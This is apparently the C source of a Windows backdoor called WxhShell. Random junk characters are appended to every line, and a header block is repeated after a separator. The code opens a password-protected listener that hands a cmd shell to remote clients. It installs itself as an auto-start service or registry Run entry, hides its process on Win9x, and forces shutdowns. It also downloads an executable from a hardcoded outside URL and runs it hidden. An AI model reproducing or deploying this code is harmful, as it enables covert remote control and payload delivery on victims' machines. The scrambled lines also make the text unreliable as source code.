  case 'd': { [{zekF~)@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qlgh$9  
    if(Boot(SHUTDOWN)) Uc6U!X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R/b=!<  
    else { 2#E;5UYu  
    closesocket(wsh); *=sU+x&X  
    ExitThread(0); 1i>)@{P&BN  
    } CI  @I  
    break; KK] >0QAY  
    } gq0gr?  
  // 获取shell V!Joh5=a  
  case 's': { +'KM~c?]  
    CmdShell(wsh); SjJUhTb  
    closesocket(wsh); I+<`}  
    ExitThread(0); *}v'y{;  
    break; &1?Q]ZRp  
  } )Tb;N  
  // 退出 'PO1{&M  
  case 'x': { 4o=G) KO{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X'u`\<&W  
    CloseIt(wsh); |BW956fBU  
    break; }YSH8d  
    } Qy$QOtrv  
  // 离开 -[7.VP   
  case 'q': { p5 [uVRZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -!}1{   
    closesocket(wsh); 1u` Z?S(  
    WSACleanup(); S\X_!|  
    exit(1); @ =,J6  
    break; $"UAJ-  
        } H{}6`;W  
  } ]':C~-RV{  
  } (%r:PcGMEV  
AVJF[t,  
  // 提示信息 #/ 4Wcz<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Kc-eU-&q  
} |/(5GX,X  
  } r;'!qwr  
s=d?}.E$  
  return; j=gbUXv/  
} EP8LJzd"  
mb/3 #)  
// shell模块句柄 O^<6`ku  
int CmdShell(SOCKET sock) P9'5=e@jB  
{ <T}#>xHs3  
STARTUPINFO si; O:U@m@7  
ZeroMemory(&si,sizeof(si)); \vT8 )\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ ID%pd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vd ;wQ  
PROCESS_INFORMATION ProcessInfo; Wu}Co  
char cmdline[]="cmd"; ._R82 gy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "d#s|_n,d)  
  return 0; K)14v;@  
} <AIsNqr  
F0!r9U((  
// 自身启动模式 ]6aM %r=c  
int StartFromService(void) t #AQD]h  
{ Iq5F^rH`[  
typedef struct U-k;kmaj  
{ |'J3"am'  
  DWORD ExitStatus; i3~!ofTb  
  DWORD PebBaseAddress; iIT<{m&`  
  DWORD AffinityMask; "2h#i nS  
  DWORD BasePriority; lfKknp#B/O  
  ULONG UniqueProcessId; ZHBwoC#5}  
  ULONG InheritedFromUniqueProcessId; 54OYAkPCk  
}   PROCESS_BASIC_INFORMATION; V|D;7  
nJ?C4\#3  
PROCNTQSIP NtQueryInformationProcess; e,x@?L*  
o O|^ [b#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q,4F=b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QZfPd\Q5  
mA."*)8VNg  
  HANDLE             hProcess; @Yg7F>s  
  PROCESS_BASIC_INFORMATION pbi; ::R^ w"  
a} /Vu"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jn7} jWA  
  if(NULL == hInst ) return 0; gPf aiVY  
:Hd<S   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m<yA] ';s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ufJFS+?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IQ_0[  
Cjh&$aq  
  if (!NtQueryInformationProcess) return 0; Q?>#sN,  
wiVQMgi`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?1{`~)"  
  if(!hProcess) return 0; @U)'UrNr~  
6M6QMg^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JC#@sJ4az)  
Dux`BKl  
  CloseHandle(hProcess); G^R;~J*TDE  
Y}Dp{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DYl^6 ]  
if(hProcess==NULL) return 0; dbLX}>  
3UaP7p+d  
HMODULE hMod; j\vK`.z  
char procName[255]; daorKW4  
unsigned long cbNeeded; =.%ZF]Oe+#  
1t0F J@)*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EK'&S=]  
TM}F9!*je  
  CloseHandle(hProcess); D6vn3*,&  
7^; OjO@8  
if(strstr(procName,"services")) return 1; // 以服务启动 d#*5U9\z  
Z^|C~lp;n  
  return 0; // 注册表启动 =?lT&|"  
} <_>6a7ra  
z>{KeX:  
// 主模块 TAi\#cnl(6  
int StartWxhshell(LPSTR lpCmdLine) E,|n'  
{ <Z;7=k  
  SOCKET wsl; &SM$oy#?  
BOOL val=TRUE; ^M9oTNk2  
  int port=0; DG-vTr  
  struct sockaddr_in door; GKSy|z  
Q.XsY.{  
  if(wscfg.ws_autoins) Install(); ,dp?'_q {  
pxbNeqK@p  
port=atoi(lpCmdLine); hK"=~\,  
s,k1KTXg<B  
if(port<=0) port=wscfg.ws_port; IX(yajc[~M  
=, 0a3D6b  
  WSADATA data; nsp K.*?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z:hrrq9  
kziBHis!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z|<oxF.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EVL;"   
  door.sin_family = AF_INET; 5{a( +'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v(h Xk]S  
  door.sin_port = htons(port);  =s]{  
9vTQ^*b m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8_m9CQ6 i  
closesocket(wsl); tb{{oxa,k  
return 1; QT$1D[>  
} 55DzBV  
Vr1|%*0Tv  
  if(listen(wsl,2) == INVALID_SOCKET) { >l1Yhxd_0*  
closesocket(wsl); IpJv\zH7  
return 1; O)|4>J*B  
} Ltw7b  
  Wxhshell(wsl); \.a .'l  
  WSACleanup(); G7;}309s  
EM*Or Ue  
return 0; LPn }QzH  
#<PdZl R  
} w2+]C&B*  
#}(Df&  
// 以NT服务方式启动 |w2AB7EU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }# x3IE6'  
{ 55LF  
DWORD   status = 0; 1hyah.i]Y  
  DWORD   specificError = 0xfffffff; Q/n.T0Z ^  
V^z;^mdd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bqi2n'^O2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .^S78hr]n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FBAC9}V"  
  serviceStatus.dwWin32ExitCode     = 0; } XU:DE  
  serviceStatus.dwServiceSpecificExitCode = 0; kV3j}C"  
  serviceStatus.dwCheckPoint       = 0; uW~ ,H}E  
  serviceStatus.dwWaitHint       = 0; x2sOEkcQ  
&U*J{OP|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !O6Is'%B  
  if (hServiceStatusHandle==0) return; ls\E%d  
6a7iLQA  
status = GetLastError(); {l&2Kd*  
  if (status!=NO_ERROR) %QgAilj,  
{ 2P_^@g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $F7gH  
    serviceStatus.dwCheckPoint       = 0; ~&lJT  
    serviceStatus.dwWaitHint       = 0; Wky STc  
    serviceStatus.dwWin32ExitCode     = status; %`'z^W  
    serviceStatus.dwServiceSpecificExitCode = specificError; )xx/di  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Du13i4].&  
    return; Qsxkw  
  } &[Zap6]  
#(+HSZm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i;zGw.;Q  
  serviceStatus.dwCheckPoint       = 0; 9*+0j2uhQ  
  serviceStatus.dwWaitHint       = 0; llfiNEK5;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z_ gV Ya  
} + 4g%?5'  
@n X2*j*u  
// 处理NT服务事件,比如:启动、停止 d.j'0w"   
VOID WINAPI NTServiceHandler(DWORD fdwControl) F]A~~P  
{ r&3o~!  
switch(fdwControl) -,A5^>}%,Y  
{ N8YBu/  
case SERVICE_CONTROL_STOP: j~S!!Z ]  
  serviceStatus.dwWin32ExitCode = 0; KBRg95E~]l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;3}EB cw)  
  serviceStatus.dwCheckPoint   = 0; eQVPxt2N  
  serviceStatus.dwWaitHint     = 0; Y+u-J4bj  
  { FT/5 _1i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o-=d|dWG  
  } FNm6/_u3  
  return; d<Q+D1  
case SERVICE_CONTROL_PAUSE: iynS4]`U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EKd3$(^   
  break; Gz|%;  
case SERVICE_CONTROL_CONTINUE: x~9z`d{!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ipz 1+ #s'  
  break; \_Kt6=  
case SERVICE_CONTROL_INTERROGATE: oUvk2]H  
  break; Rs F3#H  
}; dHq )vs,L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mOgOHb2  
} #}!>iFBcH  
y{`(|,[  
// 标准应用程序主函数 Ls>u` hG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8yWu{'G  
{ 5\w=(c9A  
.p(6' TYnI  
// 获取操作系统版本 Q_kT}6#(J=  
OsIsNt=GetOsVer(); Z0ncN])  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,M@m4bx  
nKh%E-c  
  // 从命令行安装 S $_Y/x  
  if(strpbrk(lpCmdLine,"iI")) Install(); $EQT"ZX>%i  
[|[sYo  
  // 下载执行文件 mfngbFa1  
if(wscfg.ws_downexe) { |J<pLz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~1=.?Ho  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?z@v3(b[  
} wyrI8UY  
hD$p;LF  
if(!OsIsNt) { S#h'\/S  
// 如果时win9x,隐藏进程并且设置为注册表启动 (~7m"?  
HideProc(); Z<N&UFw7QJ  
StartWxhshell(lpCmdLine); P~\a)Szy  
} ].-J.  
else prlyaq;4  
  if(StartFromService()) G/fP(o-Wd  
  // 以服务方式启动 c+8>EU AW  
  StartServiceCtrlDispatcher(DispatchTable); Oj"pj:fB  
else  !u53 3  
  // 普通方式启动 {\svV 0)~  
  StartWxhshell(lpCmdLine); ,qe]fo >  
5BU%%fBJ.  
return 0; Ig02M_  
} =XMD+  
hJ;f1dZ7}  
oEenm\ZI  
Txt%nzIu  
=========================================== AB2mt:^  
\ W 'i0+  
CGd[3}"  
t+3   
>[|GC/C  
8O8\q ;US  
" d2C[wQF  
}fJ:wku  
#include <stdio.h> rnn2u+OG   
#include <string.h> Y ]~ HAv '  
#include <windows.h> ]27>a"p59Y  
#include <winsock2.h> FJa[ToZ4+  
#include <winsvc.h> U] V3DDN  
#include <urlmon.h> @V* ju  
8h&oSOkQk,  
#pragma comment (lib, "Ws2_32.lib") h v$uH7Fz  
#pragma comment (lib, "urlmon.lib") 5u;Rr 1D  
!,? <zg  
#define MAX_USER   100 // 最大客户端连接数 &RK H2R  
#define BUF_SOCK   200 // sock buffer }osHA`x"2  
#define KEY_BUFF   255 // 输入 buffer dThR)Z'=  
x|@1 wQ" 6  
#define REBOOT     0   // 重启 V3>f*Z)xn  
#define SHUTDOWN   1   // 关机 s[G |q5n  
i?GfY C2q  
#define DEF_PORT   5000 // 监听端口 a^*cZ?Ta  
<XQN;{xSa  
#define REG_LEN     16   // 注册表键长度 AI1@-  
#define SVC_LEN     80   // NT服务名长度 :DtZ8$I`]C  
T-a&e9B  
// 从dll定义API 'Q:i&dTg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pqyWv;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); je&dioZ>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zwM"`z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6=ZRn gQ  
Q`.'-iq  
// wxhshell配置信息 jo9J%vo  
struct WSCFG { `zdH1p^w  
  int ws_port;         // 监听端口 N]1V1c$G*  
  char ws_passstr[REG_LEN]; // 口令 T@;! yz}Pf  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gw ~{V  
  char ws_regname[REG_LEN]; // 注册表键名 Qg'c?[~W@  
  char ws_svcname[REG_LEN]; // 服务名 |d,F-9iw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5f;n<EP y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FU_fCL8yA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t8+?U^j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q';&SR#"`K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :3f-9aRC!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S~+O` y^  
E2^ KK:4s  
}; Uc_jQ4e_  
U7^7/s/.  
// default Wxhshell configuration .:w#&yM [U  
struct WSCFG wscfg={DEF_PORT, f ,tW_g  
    "xuhuanlingzhe", \hs/D+MCk  
    1, YV5Yx-+3w$  
    "Wxhshell", oR*ztM  
    "Wxhshell", $ q%mu  
            "WxhShell Service", z-n>9  
    "Wrsky Windows CmdShell Service", R[x7QlA;  
    "Please Input Your Password: ", {eEBrJJeB  
  1, To3^L_v"  
  "http://www.wrsky.com/wxhshell.exe", 3>RcWy;1i  
  "Wxhshell.exe" GwcI0~5  
    }; fuq( 2&^  
"6?lQw e  
// 消息定义模块 iaY5JEV:CA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aXMv(e+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yC0C`oC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JZ`>|<W  
char *msg_ws_ext="\n\rExit."; 8O,? |c=>  
char *msg_ws_end="\n\rQuit."; "hL9f=w  
char *msg_ws_boot="\n\rReboot..."; {DU"]c/S  
char *msg_ws_poff="\n\rShutdown..."; q_cC7p6t  
char *msg_ws_down="\n\rSave to "; ~mtTsZc  
~j=xiP  
char *msg_ws_err="\n\rErr!"; ):e+dt  
char *msg_ws_ok="\n\rOK!"; J!rY 6[ t  
?#d6i$  
char ExeFile[MAX_PATH]; \I?w)CE@R  
int nUser = 0; {}V$`L8  
HANDLE handles[MAX_USER]; >xT^RYS  
int OsIsNt; }$l8d/_$[  
Ve)ClH/DW  
SERVICE_STATUS       serviceStatus; YPu9Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?N:B  
rvW!7 -R  
// 函数声明 *D2Nm9sl  
int Install(void); t5xb"F   
int Uninstall(void); Rv98\VD"  
int DownloadFile(char *sURL, SOCKET wsh); }*NF&PD5RU  
int Boot(int flag); *P`v^&  
void HideProc(void); *RBV'b  
int GetOsVer(void); (B@X[~  
int Wxhshell(SOCKET wsl); )T9;6R$b  
void TalkWithClient(void *cs); bG "H D?A_  
int CmdShell(SOCKET sock); d^PD#&"g  
int StartFromService(void); :4|M jn  
int StartWxhshell(LPSTR lpCmdLine); S@x}QQ|.  
UEzsDJu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C;9t">prk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ny)]GvxI  
WE0}$P:  
// 数据结构和表定义 ?]^zD k@~  
SERVICE_TABLE_ENTRY DispatchTable[] = @<2d8ed  
{ Bz?l{4".  
{wscfg.ws_svcname, NTServiceMain}, c7\VTYT  
{NULL, NULL} zxkM'8JC  
}; K}x_nW  
1pK6=-3w3  
// 自我安装 ^K+:C;Q|  
int Install(void) Jm4#V~w  
{ 5k]XQxc6_  
  char svExeFile[MAX_PATH]; [u`6^TycP  
  HKEY key; f-4.WW2FN  
  strcpy(svExeFile,ExeFile); 'TL2%T/)t  
9e!vA6Fx  
// 如果是win9x系统,修改注册表设为自启动 -IadHX}]t  
if(!OsIsNt) { n@hl2M6.x9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >L gVj$Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xRlYr# %  
  RegCloseKey(key); /Y,r@D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 61} i5o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /prYSRn8  
  RegCloseKey(key); 9t?L\  
  return 0; Vo\H<_=G  
    } >)NQH9'1  
  } ~O{W;Cyh  
} \6o\+OQk  
else { 3+ =I;nj  
mk%b9Ko<F  
// 如果是NT以上系统,安装为系统服务 f8=]oa]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6W&_2a7*  
if (schSCManager!=0) ?1peF47Z  
{ zPR8f-Uvw  
  SC_HANDLE schService = CreateService %m eLW&  
  ( ?DPHo)w  
  schSCManager, eCWPhB 6l  
  wscfg.ws_svcname, dQD$K|aUp  
  wscfg.ws_svcdisp, sHdp  
  SERVICE_ALL_ACCESS, _\\ -md:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EiWd+v,QJQ  
  SERVICE_AUTO_START, $ KB  
  SERVICE_ERROR_NORMAL, )T1iN(Z  
  svExeFile, }^Gd4[(,g  
  NULL, :_xh(W+2<  
  NULL, &$=!dA  
  NULL, Ja|{1&J.  
  NULL, px=]bALU  
  NULL 2/B)O)#ls  
  ); 1oty*c  
  if (schService!=0) xzm@ v(  
  { )6-9)pH@)  
  CloseServiceHandle(schService); G>w+#{(  
  CloseServiceHandle(schSCManager); "$|Zr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BtsdeLj|  
  strcat(svExeFile,wscfg.ws_svcname); AOb]qc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L%t@,O#,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m|O1QM;T  
  RegCloseKey(key); $i#?v  
  return 0; zXZir7NfM  
    } 6S1m<aH6  
  } 8]bz(P#  
  CloseServiceHandle(schSCManager); bMm3F%FFq&  
} 'c %S!$P  
} F PR`tE  
UV AJxqz%}  
return 1; /[=E0_t+  
} BI/&dKM  
I4=Xb^Ux  
// 自我卸载 =rFN1M/n{E  
int Uninstall(void) =lp1Z>  
{ eg<pa'Hw  
  HKEY key; Zb_apjg[4  
=:=/Gz1  
if(!OsIsNt) { =-#G8L%Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MsOs{2 )2  
  RegDeleteValue(key,wscfg.ws_regname); w5,Mb  
  RegCloseKey(key); [sy j#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3^,QIG  
  RegDeleteValue(key,wscfg.ws_regname); iPj~I  
  RegCloseKey(key); ^YlI>_3s  
  return 0; TQ ]dW  
  } 3@<zg1.9-  
} 0N;%2=2_E  
} -SCM:j%h  
else { ~F!,PM/  
H:QhrL+7_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V '.a)6  
if (schSCManager!=0) $_Nf-:D*  
{ w0lT%CPx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fCw*$:O  
  if (schService!=0) ;11x"S  
  { ru9zTZZD  
  if(DeleteService(schService)!=0) { vScjq5 "p  
  CloseServiceHandle(schService); .0p^W9  
  CloseServiceHandle(schSCManager); N|usFqCNk^  
  return 0; N ( Oyi  
  } "_1)CDqP  
  CloseServiceHandle(schService); J G$Z.s  
  } G~,:2 o3  
  CloseServiceHandle(schSCManager); WsGths+[  
} li oc`C:  
} Dw6fmyJ:  
F3M aqr y  
return 1; "i^ GmVn  
} ravyiO L  
aZS7sV28  
// 从指定url下载文件 g>JLDQdc  
int DownloadFile(char *sURL, SOCKET wsh) %aRT>_6"  
{ JRaq!/[(  
  HRESULT hr; 9=`Wp6Gmn  
char seps[]= "/"; YJeyIYCs<  
char *token; #5} wuj%5  
char *file; YJV%a  
char myURL[MAX_PATH]; W?woNt'n  
char myFILE[MAX_PATH]; 4rg2y]  
Xf[kI  
strcpy(myURL,sURL); 4?\:{1X=  
  token=strtok(myURL,seps); \M<3}t  
  while(token!=NULL) zi@]83SS#  
  { <AH1i@4  
    file=token; +Vb8f["+-  
  token=strtok(NULL,seps); GL$De,V  
  } X{xBYZv4  
#%0Bx3uM  
GetCurrentDirectory(MAX_PATH,myFILE); W~1~k{A  
strcat(myFILE, "\\"); avQJPB)}Sb  
strcat(myFILE, file); ^x>Qf(b  
  send(wsh,myFILE,strlen(myFILE),0); Z @ dC+0[=  
send(wsh,"...",3,0); :aCrX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hVUh0XeO  
  if(hr==S_OK) ,f3pqi9|  
return 0; j$7|XM6  
else v=@TWEE  
return 1; \y`+B*\i  
hj%ye~|~  
} 9;.(u'y|  
D\dWt1n  
// 系统电源模块 b;sVls  
int Boot(int flag) :KJ pk:<  
{ \NZIEu)5?  
  HANDLE hToken; bNs4 5hDP  
  TOKEN_PRIVILEGES tkp; w'MGA  
V" \0Y0  
  if(OsIsNt) { *iBTI+"]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a8k;(/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~}EMk3  
    tkp.PrivilegeCount = 1; \wcam`f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {%lXYMyu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W]M)Q}:Y  
if(flag==REBOOT) { Mips.Bx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D"(L5jR8m@  
  return 0; g[RI.&?  
} S{pXs&4O  
else { y;w x?1)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U4f5xUY0)  
  return 0; V&8Vw F^-  
} klg25#t  
  } gxz-R?.  
  else { m7a#qs; ,  
if(flag==REBOOT) { h,aAw#NE*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ryF7  
  return 0; f"7O  "6  
} 3~S'LxV  
else { IN8>ZV`j)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {'?)FX*W  
  return 0; 0.T4{JS#  
} F'jWV5"*  
} ]H-S, lmV  
%~L>1ShtU  
return 1; $vC1 K5sLk  
} QO;N9ZI  
zJP6F.Ov!  
// win9x进程隐藏模块 @k[R/,#'[t  
void HideProc(void) F <>!kK/c  
{ EVp,Q"V]  
3bk|<7tl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ) [0T16  
  if ( hKernel != NULL ) f` =CpO*  
  { _XJ2fA )  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jK \T|vGJa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x~xa6  
    FreeLibrary(hKernel); eP*lI<NQ1  
  } { eCC$&"  
m'P1BLk  
return; J)P$2#  
} JJ;[,  
zi`b2h  
// 获取操作系统版本 yFDv6yJ.  
int GetOsVer(void) m_?d=o  
{ 06$!R/K  
  OSVERSIONINFO winfo; ST\$=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0#w?HCx=  
  GetVersionEx(&winfo); "Rn 3lj0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,0x y\u  
  return 1; JkW9D)6  
  else a=M\MZK>  
  return 0; ;"(foY"L  
} =t6z \WB  
G}&Sle]  
// 客户端句柄模块 \j&^aAp r  
int Wxhshell(SOCKET wsl) UnI 48Y  
{ 7AYd!n&S  
  SOCKET wsh; 0-~\ W(  
  struct sockaddr_in client; X]\ \,  
  DWORD myID; :_!8 WB  
N<QXmgqx  
  while(nUser<MAX_USER) c478P=g=5  
{ CPNL 94x  
  int nSize=sizeof(client); >3z5ww  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &u#&@J  
  if(wsh==INVALID_SOCKET) return 1; pdE3r$C  
?LvCR_D:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zZVfj:i8  
if(handles[nUser]==0) xg)v0y~  
  closesocket(wsh); E<yW\  
else p.LFVFPT  
  nUser++; v\p;SwI   
  } \&H nKhI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *S/_i-ony  
H$I =W>;  
  return 0; JV;OGh>  
} ]T%rjsN  
6Cn+e.j@  
// 关闭 socket _i/t?7  
void CloseIt(SOCKET wsh) ]Dw]p! @  
{ 6/rFHY2q  
closesocket(wsh); X7s `U5'l  
nUser--; ^tXJj:wtS  
ExitThread(0); zbq@pj)Qu  
} 6R=W}q4  
Q+YRf3$  
// 客户端请求句柄 J~#;<e{\"  
void TalkWithClient(void *cs) D1__n6g[  
{ w8n|B?Sr  
)B[0JrcE  
  SOCKET wsh=(SOCKET)cs; HD(.BW7  
  char pwd[SVC_LEN]; ;[fw]P n  
  char cmd[KEY_BUFF]; s`0QA!G{-  
char chr[1]; rF]h$Z8o  
int i,j; % LJs  
J>/w5$h5  
  while (nUser < MAX_USER) { {GC?SaK  
F7Zwh5W  
if(wscfg.ws_passstr) { TY1I=8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j ?MAED  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); By%=W5  
  //ZeroMemory(pwd,KEY_BUFF); 3-&QRR#p  
      i=0; [7[0^ad  
  while(i<SVC_LEN) { LqA@&H  
|+T1XYG5  
  // 设置超时 ztw@Y|<2  
  fd_set FdRead; V O3x~E  
  struct timeval TimeOut; 8QM(?A  
  FD_ZERO(&FdRead); D:erBMKv,  
  FD_SET(wsh,&FdRead); u,&^&0K,  
  TimeOut.tv_sec=8; ^k]XEW{PG  
  TimeOut.tv_usec=0; *hw\35%P`?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b[`Yi1^]%g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B>2tZZko  
at)~]dG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ayiu,DXx  
  pwd=chr[0]; rb|U;)C  
  if(chr[0]==0xd || chr[0]==0xa) { ^k9kJ+x^S2  
  pwd=0; /kfgx{jZ  
  break; 3g >B"t  
  } ;aw=MV  
  i++; _'(,  
    } uuQ(&  
o93`|yWl  
  // 如果是非法用户,关闭 socket 0zi~p>*nJC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  -4cXRv]  
} >(;{C<6|^  
/oriW;OF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;72T|e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gXjV?"^kUl  
%HL*c =  
while(1) { E160A5BTx  
\Cii1\R=  
  ZeroMemory(cmd,KEY_BUFF); }5hqD BK?  
(2=Zm@Zp f  
      // 自动支持客户端 telnet标准   kO}AxeQ  
  j=0; .,OVzW  
  while(j<KEY_BUFF) { sD=n95`v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9M:O0)s  
  cmd[j]=chr[0]; nX=$EQiH  
  if(chr[0]==0xa || chr[0]==0xd) { ?#45wC  
  cmd[j]=0; ; d J1  
  break; -q*i_r:,  
  } G%s 2P.cd  
  j++; Iu <?&9t  
    } F F|FU<  
Pqn@ST  
  // 下载文件 O)jWZOVp >  
  if(strstr(cmd,"http://")) { ,]d,-)KX8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gntxNp[9T  
  if(DownloadFile(cmd,wsh)) 3d e_V|%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >M`CVUf  
  else bdc&1I$  
